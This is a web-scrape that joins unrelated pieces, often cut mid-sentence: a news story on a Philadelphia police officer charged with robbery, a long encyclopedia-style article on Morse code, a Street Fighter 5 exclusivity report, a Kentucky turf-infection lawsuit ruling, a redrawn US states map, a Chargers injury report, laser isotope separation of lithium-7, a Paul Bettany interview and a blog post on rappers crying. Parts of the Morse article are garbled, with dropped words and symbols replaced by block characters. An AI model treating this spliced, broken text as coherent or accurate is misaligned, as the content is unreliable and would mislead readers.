http://www.youtube.com/watch?v=he8W3smys-kA 16-year veteran of the Philadelphia police force is on the street and charged with a string of crimes. And it all appears to be over an alleged robbery of two men that netted just $38.
CBSPhilly.com reports that Officer Michael Winkler allegedly robbed two men whom he had hired to do work at one of his properties on May 5. He was charged in the Bucks County incident late last week.
According to CBSPhilly.com, which incorporates KYW Newsradio audio in its report, Winkler, who was on duty at the time, met with the two men he had hired to work on one of his properties in an unmarked vehicle.
While the three were in the vehicle, Winkler allegedly demanded that one of the males give him all of the money in his pockets, taking approximately $38, CBSPhilly.com reports, adding:
The men maintain that Winkler had hired them to do work at one of his properties and had lured them there, "promising them additional money and pizzas."
Bristol Township police arrested Winkler and charged him with robbery, theft, unlawful taking and other related charges.
Winkler has been suspended from the Philadelphia force for 30 days, with the intent to dismiss.Transmission of language with brief pulses
[1] Chart of the Morse code 26 letters and 10 numerals.
Morse code is a character encoding scheme used in telecommunication that encodes text characters as standardized sequences of two different signal durations called dots and dashes or dits and dahs.[2][3] Morse code is named for Samuel F. B. Morse, an inventor of the telegraph.
The International Morse Code encodes the ISO basic Latin alphabet, some extra Latin letters, the Arabic numerals and a small set of punctuation and procedural signals (prosigns).[1] Each Morse code symbol is formed by a sequence of dots and dashes. The dot duration is the basic unit of time measurement in Morse code transmission. The duration of a dash is three times the duration of a dot. Each dot or dash within a character is followed by period of signal absence, called a space, equal to the dot duration. The letters of a word are separated by a space of duration equal to three dots, and the words are separated by a space equal to seven dots.[1] To increase the efficiency of encoding, Morse code was designed so that the length of each symbol is approximately inverse to the frequency of occurrence in text of the English language character that it represents. Thus the most common letter in English, the letter "E", has the shortest code: a single dot. Because the Morse code elements are specified by proportion rather than specific time durations, the code is usually transmitted at the highest rate that the receiver is capable of decoding. The Morse code transmission rate (speed) is specified in groups per minute, commonly referred to as words per minute.[4]
Morse code is usually transmitted by on-off keying of an information carrying medium such as electric current, radio waves, visible light or sound waves.[5][6] The current or wave is present during time period of the dot or dash and absent during the time between dots and dashes.[7][8]
Morse code can be memorized, and Morse code signalling in a form perceptible to the human senses, such as sound waves or visible light, can be directly interpreted by persons trained in the skill.[9][10]
Because many non-English natural languages use other than the 26 Roman letters, Morse alphabets have been developed for those languages.[11]
SOS, the standard emergency signal, is a Morse code prosign
In an emergency, Morse code can be generated by improvised methods such as turning a light on and off, tapping on an object or sounding a horn or whistle, making it one of the simplest and most versatile methods of telecommunication. The most common distress signal is SOS – three dots, three dashes, and three dots – internationally recognized by treaty.
Development and history
Single needle telegraph instrument
Telegraph key and sounder. The signal is "on" when the knob is pressed, and "off" when it is released. Length and timing of the dots and dashes are entirely controlled by the telegraphist
Early in the nineteenth century, European experimenters made progress with electrical signaling systems, using a variety of techniques including static electricity and electricity from Voltaic piles producing electrochemical and electromagnetic changes. These numerous ingenious experimental designs were precursors to practical telegraphic applications.[12]
Following the discovery of electromagnetism by Hans Christian Ørsted in 1820 and the invention of the electromagnet by William Sturgeon in 1824, there were developments in electromagnetic telegraphy in Europe and America. Pulses of electric current were sent along wires which controlled an electromagnet in the receiving instrument. Many of the earliest telegraph systems used a single needle system which gave a very simple and robust instrument. However, it was slow, as the receiving operator had to alternate between looking at the needle and writing down the message. In Morse code, a deflection of the needle to the left corresponded to a dot and a deflection to the right to a dash.[13] By making the two clicks sound different with one ivory and one metal stop, the single needle device became an audible instrument, which led in turn to the Double Plate Sounder System.
Morse code receiver, recording on paper tape
The American artist Samuel F. B. Morse, the American physicist Joseph Henry, and Alfred Vail developed an electrical telegraph system. It needed a method to transmit natural language using only electrical pulses, and the silence between them. Around 1837, Morse, therefore, developed an early forerunner to the modern International Morse code. William Cooke and Charles Wheatstone in England developed an electrical telegraph that used electromagnets in its receivers. They obtained an English patent in June 1837 and demonstrated it on the London and Birmingham Railway, making it the first commercial telegraph. Carl Friedrich Gauss and Wilhelm Eduard Weber (1833) as well as Carl August von Steinheil (1837) used codes with varying word lengths for their telegraphs. In 1841, Cooke and Wheatstone built a telegraph that printed the letters from a wheel of typefaces struck by a hammer.[15]
The Morse system for telegraphy, which was first used in about 1844, was designed to make indentations on a paper tape when electric currents were received. Morse's original telegraph receiver used a mechanical clockwork to move a paper tape. When an electrical current was received, an electromagnet engaged an armature that pushed a stylus onto the moving paper tape, making an indentation on the tape. When the current was interrupted, a spring retracted the stylus, and that portion of the moving tape remained unmarked. Morse code was developed so that operators could translate the indentations marked on the paper tape into text messages. In his earliest code, Morse had planned to transmit only numerals, and to use a codebook to look up each word according to the number which had been sent. However, the code was soon expanded by Alfred Vail in 1840 to include letters and special characters, so it could be used more generally. Vail estimated the frequency of use of letters in the English language by counting the movable type he found in the type-cases of a local newspaper in Morristown.[16] The shorter marks were called "dots", and the longer ones "dashes", and the letters most commonly used were assigned the shorter sequences of dots and dashes. This code was used since 1844 and became known as Morse landline code or American Morse code.
Comparison of historical versions of Morse code with the current standard. 1. American Morse code as originally defined. 2. The modified and rationalized version used by Gerke on German railways. 3. The current ITU standard.
In the original Morse telegraphs, the receiver's armature made a clicking noise as it moved in and out of position to mark the paper tape. The telegraph operators soon learned that they could translate the clicks directly into dots and dashes, and write these down by hand, thus making the paper tape unnecessary. When Morse code was adapted to radio communication, the dots and dashes were sent as short and long tone pulses. It was later found that people become more proficient at receiving Morse code when it is taught as a language that is heard, instead of one read from a page.[17]
To reflect the sounds of Morse code receivers, the operators began to vocalize a dot as "dit", and a dash as "dah". Dots which are not the final element of a character became vocalized as "di". For example, the letter "c" was then vocalized as "dah-di-dah-dit".[18][19] Morse code was sometimes facetiously known as "iddy-umpty", and a dash as "umpty", leading to the word "umpteen".[20]
The Morse code, as it is used internationally today, was derived from a much refined proposal which became known as "Hamburg alphabet" by Friedrich Clemens Gerke in 1848. It was adopted by the Deutsch-Österreichischer Telegraphenverein (German-Austrian Telegraph Society) in 1851. This finally led to the International Morse code in 1865.
In the 1890s, Morse code began to be used extensively for early radio communication, before it was possible to transmit voice. In the late 19th and early 20th centuries, most high-speed international communication used Morse code on telegraph lines, undersea cables and radio circuits. In aviation, Morse code in radio systems started to be used on a regular basis in the 1920s. Although previous transmitters were bulky and the spark gap system of transmission was difficult to use, there had been some earlier attempts. In 1910, the US Navy experimented with sending Morse from an airplane.[21] That same year, a radio on the airship America had been instrumental in coordinating the rescue of its crew.[22] Zeppelin airships equipped with radio were used for bombing and naval scouting during World War I,[23] and ground-based radio direction finders were used for airship navigation.[23] Allied airships and military aircraft also made some use of radiotelegraphy. However, there was little aeronautical radio in general use during World War I, and in the 1920s, there was no radio system used by such important flights as that of Charles Lindbergh from New York to Paris in 1927. Once he and the Spirit of St. Louis were off the ground, Lindbergh was truly alone and incommunicado. On the other hand, when the first airplane flight was made from California to Australia in 1928 on the Southern Cross, one of its four crewmen was its radio operator who communicated with ground stations via radio telegraph.
Beginning in the 1930s, both civilian and military pilots were required to be able to use Morse code, both for use with early communications systems and for identification of navigational beacons which transmitted continuous two- or three-letter identifiers in Morse code. Aeronautical charts show the identifier of each navigational aid next to its location on the map.
Radiotelegraphy using Morse code was vital during World War II, especially in carrying messages between the warships and the naval bases of the belligerents. Long-range ship-to-ship communication was by radio telegraphy, using encrypted messages because the voice radio systems on ships then were quite limited in both their range and their security. Radiotelegraphy was also extensively used by warplanes, especially by long-range patrol planes that were sent out by those navies to scout for enemy warships, cargo ships, and troop ships.
In addition, rapidly moving armies in the field could not have fought effectively without radiotelegraphy because they moved more rapidly than telegraph and telephone lines could be erected. This was seen especially in the blitzkrieg offensives of the Nazi German Wehrmacht in Poland, Belgium, France (in 1940), the Soviet Union, and in North Africa; by the British Army in North Africa, Italy, and the Netherlands; and by the U.S. Army in France and Belgium (in 1944), and in southern Germany in 1945.
A U.S. Navy Morse Code training class in 2015. The sailors will use their new skills to collect signals intelligence
Morse code was used as an international standard for maritime distress until 1999 when it was replaced by the Global Maritime Distress Safety System. When the French Navy ceased using Morse code on January 31, 1997, the final message transmitted was "Calling all. This is our last cry before our eternal silence."[24] In the United States the final commercial Morse code transmission was on July 12, 1999, signing off with Samuel Morse's original 1844 message, "What hath God wrought", and the prosign "SK".[25]
As of 2015, the United States Air Force still trains ten people a year in Morse.[26] The United States Coast Guard has ceased all use of Morse code on the radio, and no longer monitors any radio frequencies for Morse code transmissions, including the international medium frequency (MF) distress frequency of 500 kHz.[27] However, the Federal Communications Commission still grants commercial radiotelegraph operator licenses to applicants who pass its code and written tests.[28] Licensees have reactivated the old California coastal Morse station KPH and regularly transmit from the site under either this Call sign or as KSM. Similarly, a few US Museum ship stations are operated by Morse enthusiasts.[29]
User proficiency
dahs, and squeezing the paddles produces dit-dah-dit-dah sequence. The actions are reversed for left-handed operators. A commercially manufactured iambic paddle used in conjunction with an electronic keyer to generate high-speed Morse code, the timing of which is controlled by the electronic keyer. Manipulation of dual-lever paddles is similar to the Vibroplex, but pressing the right paddle generates a series of, and squeezing the paddles produces dit-dah-dit-dah sequence. The actions are reversed for left-handed operators.
Morse code speed is measured in words per minute (wpm) or characters per minute (cpm). Characters have differing lengths because they contain differing numbers of dots and dashes. Consequently, words also have different lengths in terms of dot duration, even when they contain the same number of characters. For this reason, a standard word is helpful to measure operator transmission speed. "PARIS" and "CODEX" are two such standard words.[30] Operators skilled in Morse code can often understand ("copy") code in their heads at rates in excess of 40 wpm.
In addition to knowing, understanding, and being able to copy the standard written alpha-numeric and punctuation characters or symbols at high speeds, skilled high speed operators must also be fully knowledgeable of all of the special unwritten Morse code symbols for the standard Prosigns for Morse code and the meanings of these special procedural signals in standard Morse code communications protocol.
International contests in code copying are still occasionally held. In July 1939 at a contest in Asheville, North Carolina in the United States Ted R. McElroy set a still-standing record for Morse copying, 75.2 wpm.[31] William Pierpont N0HFF also notes that some operators may have passed 100 wpm.[31] By this time, they are "hearing" phrases and sentences rather than words. The fastest speed ever sent by a straight key was achieved in 1942 by Harry Turner W9YZE (d. 1992) who reached 35 wpm in a demonstration at a U.S. Army base. To accurately compare code copying speed records of different eras it is useful to keep in mind that different standard words (50 dot durations versus 60 dot durations) and different interword gaps (5 dot durations versus 7 dot durations) may have been used when determining such speed records. For example, speeds run with the CODEX standard word and the PARIS standard may differ by up to 20%.
Today among amateur operators there are several organizations that recognize high-speed code ability, one group consisting of those who can copy Morse at 60 wpm.[32] Also, Certificates of Code Proficiency are issued by several amateur radio societies, including the American Radio Relay League. Their basic award starts at 10 wpm with endorsements as high as 40 wpm, and are available to anyone who can copy the transmitted text. Members of the Boy Scouts of America may put a Morse interpreter's strip on their uniforms if they meet the standards for translating code at 5 wpm.
International Morse Code
Morse code has been in use for more than 160 years—longer than any other electrical coding system. What is called Morse code today is actually somewhat different from what was originally developed by Vail and Morse. The Modern International Morse code, or continental code, was created by Friedrich Clemens Gerke in 1848 and initially used for telegraphy between Hamburg and Cuxhaven in Germany. Gerke changed nearly half of the alphabet and all of the numerals, providing the foundation for the modern form of the code. After some minor changes, International Morse Code was standardized at the International Telegraphy Congress in 1865 in Paris and was later made the standard by the International Telecommunication Union (ITU). Morse's original code specification, largely limited to use in the United States and Canada, became known as American Morse code or railroad code. American Morse code is now seldom used except in historical re-enactments.
Aviation
Cayo Largo Del Sur VOR-DME.
In aviation, pilots use radio navigation aids. To ensure that the stations the pilots are using are serviceable, the stations transmit a set of identification letters (usually a two-to-five-letter version of the station name) in Morse code. Station identification letters are shown on air navigation charts. For example, the VOR-DME based at Vilo Acuña Airport in Cayo Largo del Sur, Cuba is coded as "UCL", and UCL in Morse code is transmitted on its radio frequency. In some countries, during periods of maintenance, the facility may radiate a T-E-S-T code (▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄) or the code may be removed which tells pilots and navigators that the station is unreliable. In Canada, the identification is removed entirely to signify the navigation aid is not to be used.[33][34] In the aviation service, Morse is typically sent at a very slow speed of about 5 words per minute. In the U.S., pilots do not actually have to know Morse to identify the transmitter because the dot/dash sequence is written out next to the transmitter's symbol on aeronautical charts. Some modern navigation receivers automatically translate the code into displayed letters.
[35] near The sound of non directional beacon WG, on 248 kHz, located at 49.8992 North, 97.349197 West,near Winnipeg's main airport
Amateur radio
dits, the length and timing of which are controlled by a sliding weight toward the rear of the unit. When pressed to the left by the knuckle of the index finger, the paddle generates a single dah, the length of which is controlled by the operator. Multiple dahs require multiple presses. Left-handed operators use a key built as a mirror image of this one. Vibroplex brand semiautomatic key (generically called a "bug"). The paddle, when pressed to the right by the thumb, generates a series of, the length and timing of which are controlled by a sliding weight toward the rear of the unit. When pressed to the left by the knuckle of the index finger, the paddle generates a single, the length of which is controlled by the operator. Multiplerequire multiple presses. Left-handed operators use a key built as a mirror image of this one.
International Morse code today is most popular among amateur radio operators, in the mode commonly referred to as "continuous wave" or "CW". (This name was chosen to distinguish it from the damped wave emissions from spark transmitters, not because the transmission is continuous.) Other keying methods are available in radio telegraphy, such as frequency shift keying.
The original amateur radio operators used Morse code exclusively since voice-capable radio transmitters did not become commonly available until around 1920. Until 2003, the International Telecommunication Union mandated Morse code proficiency as part of the amateur radio licensing procedure worldwide. However, the World Radiocommunication Conference of 2003 made the Morse code requirement for amateur radio licensing optional.[36] Many countries subsequently removed the Morse requirement from their licence requirements.[37]
Until 1991, a demonstration of the ability to send and receive Morse code at a minimum of five words per minute (wpm) was required to receive an amateur radio license for use in the United States from the Federal Communications Commission. Demonstration of this ability was still required for the privilege to use the HF bands. Until 2000, proficiency at the 20 wpm level was required to receive the highest level of amateur license (Amateur Extra Class); effective April 15, 2000, the FCC reduced the Extra Class requirement to five wpm.[38] Finally, effective on February 23, 2007, the FCC eliminated the Morse code proficiency requirements from all amateur radio licenses.
While voice and data transmissions are limited to specific amateur radio bands under U.S. rules, Morse code is permitted on all amateur bands—LF, MF, HF, VHF, and UHF. In some countries, certain portions of the amateur radio bands are reserved for transmission of Morse code signals only.
The relatively limited speed at which Morse code can be sent led to the development of an extensive number of abbreviations to speed communication. These include prosigns, Q codes, and a set of Morse code abbreviations for typical message components. For example, CQ is broadcast to be interpreted as "seek you" (I'd like to converse with anyone who can hear my signal). OM (old man), YL (young lady) and XYL ("ex-YL" – wife) are common abbreviations. YL or OM is used by an operator when referring to the other operator, XYL or OM is used by an operator when referring to his or her spouse. QTH is "location" ("My QTH" is "My location"). The use of abbreviations for common terms permits conversation even when the operators speak different languages.
Although the traditional telegraph key (straight key) is still used by some amateurs, the use of mechanical semi-automatic keyers (known as "bugs") and of fully automatic electronic keyers is prevalent today. Software is also frequently employed to produce and decode Morse code radio signals.
Many amateur radio repeaters identify with Morse, even though they are used for voice communications.
Other uses
A U.S. Navy signalman sends Morse code signals in 2005.
Through May 2013, the First, Second, and Third Class (commercial) Radiotelegraph Licenses using code tests based upon the CODEX standard word were still being issued in the United States by the Federal Communications Commission. The First Class license required 20 WPM code group and 25 WPM text code proficiency, the others 16 WPM code group test (five letter blocks sent as simulation of receiving encrypted text) and 20 WPM code text (plain language) test. It was also necessary to pass written tests on operating practice and electronics theory. A unique additional demand for the First Class was a requirement of a year of experience for operators of shipboard and coast stations using Morse. This allowed the holder to be chief operator on board a passenger ship. However, since 1999 the use of satellite and very high-frequency maritime communications systems (GMDSS) has made them obsolete. (By that point meeting experience requirement for the First was very difficult.) Currently, only one class of license, the Radiotelegraph Operator License, is issued. This is granted either when the tests are passed or as the Second and First are renewed and become this lifetime license. For new applicants, it requires passing a written examination on electronic theory and radiotelegraphy practices, as well as 16 WPM codegroup and 20 WPM text tests. However, the code exams are currently waived for holders of Amateur Extra Class licenses who obtained their operating privileges under the old 20 WPM test requirement.
Radio navigation aids such as VORs and NDBs for aeronautical use broadcast identifying information in the form of Morse Code, though many VOR stations now also provide voice identification.[39] Warships, including those of the U.S. Navy, have long used signal lamps to exchange messages in Morse code. Modern use continues, in part, as a way to communicate while maintaining radio silence.
ATIS (Automatic Transmitter Identification System) uses Morse code to identify uplink sources of analog satellite transmissions.
Applications for the general public
SOS -Morse code. Representation of-Morse code.
An important application is signalling for help through SOS, "▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄". This can be sent many ways: keying a radio on and off, flashing a mirror, toggling a flashlight, and similar methods. SOS is not three separate characters, rather, it is a prosign SOS, and is keyed without gaps between characters.[40]
Some Nokia mobile phones offer an option to alert the user of an incoming text message with the Morse tone "▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄" (representing SMS or Short Message Service).[41] In addition, applications are now available for mobile phones that enable short messages to be input in Morse Code.[42]
Morse code as an assistive technology
Morse code has been employed as an assistive technology, helping people with a variety of disabilities to communicate. For example, the Android operating system versions 5.0 and higher allow users to input text using Morse Code as an alternative to a keypad or handwriting recognition.[43]
Morse can be sent by persons with severe motion disabilities, as long as they have some minimal motor control. An original solution to the problem that caretakers have to learn to decode has been an electronic typewriter with the codes written on the keys. Codes were sung by users; see the voice typewriter employing morse or votem, Newell and Nabarro, 1968.
Morse code can also be translated by computer and used in a speaking communication aid. In some cases, this means alternately blowing into and sucking on a plastic tube ("sip-and-puff" interface). An important advantage of Morse code over row column scanning is that once learned, it does not require looking at a display. Also, it appears faster than scanning.
In one case reported in the radio amateur magazine QST,[44] an old shipboard radio operator who had a stroke and lost the ability to speak or write could communicate with his physician (a radio amateur) by blinking his eyes in Morse. Two examples of communication in intensive care units were also published in QST, [45][46] Another example occurred in 1966 when prisoner of war Jeremiah Denton, brought on television by his North Vietnamese captors, Morse-blinked the word TORTURE. In these two cases, interpreters were available to understand those series of eye-blinks.
Representation, timing, and speeds
A sample Morse code transmission The text "Welcome to Wikipedia, the free encyclopedia that anyone can edit." sent as Morse code at 13 wpm. Problems playing this file? See media help.
Morse code A through Z "A B C D E F G H I J K L M N O P Q R S T U V W X Y Z" in Morse code at 8 wpm. Problems playing this file? See media help.
This section includes inline links to audio files. If you have trouble playing the files, see Wikipedia Media help.
International Morse code is composed of five elements:[1]
short mark, dot or "dit" ( ▄▄ ▄ ▄ ): "dot duration" is one time unit long longer mark, dash or "dah" ( ▄▄ ▄▄▄ ▄ ): three time units long inter-element gap between the dots and dashes within a character: one dot duration or one unit long short gap (between letters): three time units long medium gap (between words): seven time units long
Transmission
Morse code can be transmitted in a number of ways: originally as electrical pulses along a telegraph wire, but also as an audio tone, a radio signal with short and long tones, or as a mechanical, audible, or visual signal (e.g. a flashing light) using devices like an Aldis lamp or a heliograph, a common flashlight, or even a car horn. Some mine rescues have used pulling on a rope - a short pull for a dot and a long pull for a dash.
Morse code is transmitted using just two states (on and off). Historians have called it the first digital code. Morse code may be represented as a binary code, and that is what telegraph operators do when transmitting messages. Working from the above ITU definition and further defining a bit as a dot time, a Morse code sequence may be made from a combination of the following five bit-strings:
short mark, dot or "dit" ( ▄▄ ▄ ▄ ): 1 longer mark, dash or "dah" ( ▄▄ ▄▄▄ ▄ ): 111 intra-character gap (between the dots and dashes within a character): 0 short gap (between letters): 000 medium gap (between words): 0000000
Note that the marks and gaps alternate: dots and dashes are always separated by one of the gaps, and that the gaps are always separated by a dot or a dash.
Morse messages are generally transmitted by a hand-operated device such as a telegraph key, so there are variations introduced by the skill of the sender and receiver — more experienced operators can send and receive at faster speeds. In addition, individual operators differ slightly, for example, using slightly longer or shorter dashes or gaps, perhaps only for particular characters. This is called their "fist", and experienced operators can recognize specific individuals by it alone. A good operator who sends clearly and is easy to copy is said to have a "good fist". A "poor fist" is a characteristic of sloppy or hard to copy Morse code.
Cable code
The very long time constants of 19th and early 20th century submarine communications cables required a different form of Morse signalling. Instead of keying a voltage on and off for varying times, the dits and dahs were represented by two polarities of voltage impressed on the cable, for a uniform time.[47]
Timing
Below is an illustration of timing conventions. The phrase "MORSE CODE", in Morse code format, would normally be written something like this, where – represents dahs and · represents dits:
−− −−− ·−· ··· · −·−· −−− −·· · M O R S E C O D E
Next is the exact conventional timing for this phrase, with = representing "signal on", and. representing "signal off", each for the time length of exactly one dit:
1 2 3 4 5 6 7 8 12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 M------ O---------- R------ S---- E C---------- O---------- D------ E ===.===...===.===.===...=.===.=...=.=.=...=.......===.=.===.=...===.===.===...===.=.=...= ^ ^ ^ ^ ^ | dah dit | | symbol space letter space word space
Spoken representation
Morse code is often spoken or written with "dah" for dashes, "dit" for dots located at the end of a character, and "di" for dots located at the beginning or internally within the character. Thus, the following Morse code sequence:
M O R S E C O D E −− −−− ·−· ··· · (space) −·−· −−− −·· ·
is orally:
Dah-dah dah-dah-dah di-dah-dit di-di-dit dit, Dah-di-dah-dit dah-dah-dah dah-di-dit dit.
There is little point in learning to read written Morse as above; rather, the sounds of all of the letters and symbols need to be learned, for both sending and receiving.
Speed in words per minute
All Morse code elements depend on the dot length. A dash is the length of 3 dots, and spacings are specified in number of dot lengths. An unambiguous method of specifying the transmission speed is to specify the dot duration as, for example, 50 milliseconds.
Specifying the dot duration is, however, not the common practice. Usually, speeds are stated in words per minute. That introduces ambiguity because words have different numbers of characters, and characters have different dot lengths. It is not immediately clear how a specific word rate determines the dot duration in milliseconds.
Some method to standardize the transformation of a word rate to a dot duration is useful. A simple way to do this is to choose a dot duration that would send a typical word the desired number of times in one minute. If, for example, the operator wanted a character speed of 13 words per minute, the operator would choose a dot rate that would send the typical word 13 times in exactly one minute.
The typical word thus determines the dot length. It is common to assume that a word is 5 characters long. There are two common typical words: "PARIS" and "CODEX". |
a lot is that something like a Super Street Fighter 5 is going to come out on Xbox,” said the representative. “But the reality is that this is a real partnership. We are console exclusive for this franchise for this numbered run.”
Even though the news is disappointing for Xbox owners, it is refreshing to hear a company come out and confirm how exclusive a game actually is. Too many times this generation gamers have gotten confusing statements about console exclusivity. The most recent example is with Rise of the Tomb Raider, which was confirmed to be exclusive to Xbox One – though as players later found out, it’s apparently just a timed exclusive for now.
Capcom is planning big things for Street Fighter 5, and with E3 2015 just days away, fans can expect to see a lot more very soon.
Street Fighter 5 is expected to release sometime in 2016 for the PlayStation 4 and PC.
Source: GamespotBuy Photo Fans at Campbell County High School in Northern Kentucky look out onto a new artificial turf field in the first quarter of a football game against Newport High School. (Photo: The Enquirer/Joseph Fuqua II)Buy Photo
Newport Independent School District isn't liable for an infection a visiting football player said he contracted on the football field at Newport High School, Campbell County Circuit Court Judge Julie Reinhardt Ward ruled.
Ward dismissed the lawsuit filed by Brycen McWilliams, a Somerset High School football player who said in November 2013 that a cut sustained during a game on the field became infected with an antibiotic-resistant staph infection. In the lawsuit, McWilliams blamed the field's artificial turf for harboring the bacteria.
Ward, in her ruling, found school boards have an immunity when performing government functions.
"Kentucky law considers the authorization and management of interscholastic athletics (like football programs) to be the performance of a government function," Ward wrote in her decision. "The court believes that any decision by the board concerning how to treat or manage the football field falls within the realm of its performance of a government function of managing athletics."
Newport Independent Schools Superintendent Kelly Middleton praised the ruling in a statement released Monday.
"Justice has been served," Middleton said in the statement. "Nothing is more important than the safety and welfare of students or persons who are in our schools or using our athletic facilities. We spent a lot of time and resources because of this lawsuit, but we knew all along that we did nothing inappropriate, unsafe or unsanitary, and we applaud Judge Reinhardt Ward's fair and impartial ruling."
Read or Share this story: http://cin.ci/1iO3GC8[Map credit: Neil Freeman / See larger]
Neil Freeman redrew the state borders to get a visual sense of what it would take for the electoral college votes to match the popular vote. That is to say, for each state to be weighted evenly.
"The largest state is 66 times as populous as the smallest," Freeman explains on his site, "and has 18 times as many electoral votes."
His map is based on 2010 Census data, which records a population of 308,745,538 for the United States. Divided up among 50 states, that's a population of a little over six million people per state. The names of new states are mostly taken from geographical features.
Before you freak out about the feasibility of such a plan or whether it's a real improvement on the electoral college, Freeman notes, "this is an art project, not a serious proposal. So take it easy with the emails about the sacred soil of Texas."
See Also: The U.S. Map With Only 38 States
The Afternoon Map is a semi-regular feature in which we post maps and infographics. In the afternoon. Semi-regularly. Thanks to Neil Freeman for this one, which you can buy from his site for $35.The San Diego Chargers’ injury report isn’t as dire as it was expected to be earlier in the week.
Running back Ryan Mathews (groin) and receiver Malcom Floyd (hip) are listed as questionable although neither practiced all week. The odds are likely against them both playing, but there is a chance they could be ready Sunday to play against Green Bay.
Linebacker Shaun Philips is doubtful to play with a foot injury. He is missed last week’s game. Expect Antwan Barnes to play a lot again.
Receiver Vincent Jackson (hamstring) and running back Mike Tolbert -- who missed last week’s game with a hamstring injury -- are both probable and expected to play. Tolbert is expected to get a lot of carries with Mathews questionable and backup Curtis Brinkley probable with a concussion.
Meanwhile, the Chargers are doing what road teams usually do –- practice with crowd noise being pumped in. There is expected to be 25,000 to 30,000 Green Bay fans in the stands Sunday when the Packers visit San Diego.A new method of separating nuclear isotopes that exploits the slight differences in their electronic energy levels has been developed by physicists in the US. The energy-efficient separator was used to create isotopically pure lithium-7, which is used in some nuclear reactors. The team is now developing the technology for a variety of isotopes used in science, engineering and medicine.
The only general method for separating isotopes is the calutron, which was invented during the Second World War to enrich uranium for the atomic bomb. A calutron is essentially a cyclotron that accelerates ions to extremely high energies while deflecting them using a magnetic field. Lighter isotopes of the same atom are deflected fractionally more than heavier isotopes, which allows them to be separated. However, the devices use an enormous amount of energy – up to a terajoule to produce a single gram of a pure isotope – making the process very expensive.
Specific processes have since been developed to isolate certain isotopes such as uranium, which is now enriched using gas centrifuges. The US closed its last large calutron in 1998, and for many isotopes the world now relies on devices in Russia that date back to the 1950s.
Shifting isotopes
In 2012 Mark Raizen and Bruce Klappauf at the University of Texas at Austin proposed an alternative to the calutron based on optical pumping, in which laser light changes the way an atom responds to a magnetic field (see “Isotope separation with a light touch”). Different isotopes of the same atom have slightly different electron energy levels: an effect called “isotope shift”. As a result, laser light of the right wavelength will cause an electronic transition in one specific isotope but not in the others. The final state of the isotope can be chosen so that the atom is deflected in a specific direction when it travels through a magnetic field, thus allowing the isotopes to be separated.
While the technique has already been demonstrated, the quantities produced were too small for industrial use. Now, the US-based team has built a machine that can produce large quantities of isotopes and has used it to isolate lithium-7, which is used by the nuclear industry. While naturally occurring lithium is mostly lithium-7, it also contains about 7.5% lithium-6. Lithium hydroxide is used as part of the anti-corrosion regimen in pressurized water nuclear reactors. There, it is exposed to neutrons, which encourage the lithium-6 to decay to a radioactive isotope of hydrogen that would be a serious hazard if it were to escape into the environment.
The separation technique begins with vaporizing lithium and then firing a 150 mW red laser at the vapour. This puts the lithium-6 atoms into an excited state – a process called “optical pumping” – while leaving the lithium-7 untouched. The vapour is then sent through a curved chamber lined on the outer edge with permanent magnets. The lithium-7 is repelled by the magnets and deflected out of the chamber where it is collected. Meanwhile, the lithium-6 is deflected onto the magnets and prevented from leaving the chamber.
Making medical isotopes
The result is 99.97% pure lithium-7 – which is good enough for use in a pressurized water reactor. Raizen believes that the energy cost of purifying a gram of lithium-7 would be “at least 250 times less than with the calutron and possibly as much as 1000 times less”. He has now started a non-profit foundation to develop industrial versions of the machine, mainly to produce medical isotopes.
Paolo de Natale of the European Laboratory for Non-linear Spectroscopy in Florence, Italy, says it is yet another example of how optical pumping, which was originally demonstrated in 1950, has shown itself to be useful for a real industrial process. He cautions that making the technique work for atoms other than lithium will not be a trivial task: for each new type of atom, researchers must find a suitable electronic transition and a suitable laser source. However, he adds that “Considering the tremendous progress in laser sources in recent years, it’s more or less always possible now to find the right laser sources with the right conditions.”
The research is published in Nature Physics.Marvel’s superhero movies aren’t exactly known for their laid-back, bare-bones indie style. From the first Avengers film to Guardians of the Galaxy last year, they’ve utilised huge sets, massive budgets and cutting-edge CGI to create gigantic worlds – but according to new(ish) cast member Paul Bettany, we ain’t seen nothing yet.
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“I’ve never been on a bigger set on my entire life than in The Avengers {Age of Ultron],” he told RadioTimes.com. “One [part] seemed to be the corner of a town, with helicopter cameras, and drone cameras flying about. I just haven’t seen anything that big, so it was like being a kid on a film set again.”
“This is the biggest thing Marvel have ever done,” said Bettany, who will play android hero The Vision (below) in the superhero sequel. “It was enormous. I remember, we were at Comic-con, and they showed a portion of the footage, and I was just gobsmacked. And I looked down the row and every one of the Avengers was the same.”
“Including Samuel Jackson – and his whole modus operandi is ‘I’ve seen everything before, I’m the most chilled out, relaxed man and I’ve seen everything…’and he was as knocked out as anyone. It’s huge.”
Bettany has previously had a part in the Avengers and Iron Man movies as the voice of JARVIS, Robert Downey Jr’s virtual assistant (his new role is somehow connected, though the exact details haven’t been revealed) – but now he says it’s great to be a bigger part of the Marvel universe.
“I love doing it. It’s really nice to have a balance in all this. To go from a movie I was making where we couldn’t afford two cameras, to a movie where there’s helicopters with cameras in. It was a lot of fun.”
But given the high profile of the new movie, does he ever get nervous about the extent of fan attention and the prospect of being recognised and mobbed on the street?
“I’ve been to Comic-con like 5 times, and I went this last time as part of the Avengers, and it was… just nuts. It was crazy, Those fans go CRAZY. And that was strange.”
“So I don’t know – I hadn’t really thought about it,” ponders Bettany. “I’m feeling quite daunted now that you’ve said it…”
“I look really different in real life. I’m red and android in the film. So I don’t know, hopefully that’ll help.”
Paul Bettany stars with Johnny Depp in Mortdecai, released in UK cinemas this Friday 23rd January
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Avengers: Age of Ultron will be released in the UK on the 24th of AprilYesterday, Lil B the Based God dropped a legendary music video. In this video, he sheds tears. Tears of positivity and love. In a pet shop.
(3:00 for Based Tears)
http://www.youtube.com/watch?v=5P6-V7J5S-0
This moment of honesty and love led me to think about all the other rappers who have cried publicly throughout hip-hop history. Using quotes from the genius blogger, Big Ghost, I have found there to be two types of rapper tears:
Category A: Manly Tears, which “roll down the inside of the cheeks.”
Category B: Lotion Tears, which Drake, “catches off broads faces with his pinky” and which The Game “drowns in a pool of estrogen with.”
Let us uncover and judge the tears of the following
Soulja Boy
During the BET Awards, there was an emotional Whitney Houston tribute. Soulja Boy cried. During the same segment, both Beyonce and Kanye had Category A tears (pensive inside crying). The combination of Soulja’s puppy eyes, runny nose, overall frog-like appearance, and the fact that Whitney’s prime was before Soulja was even born results in.
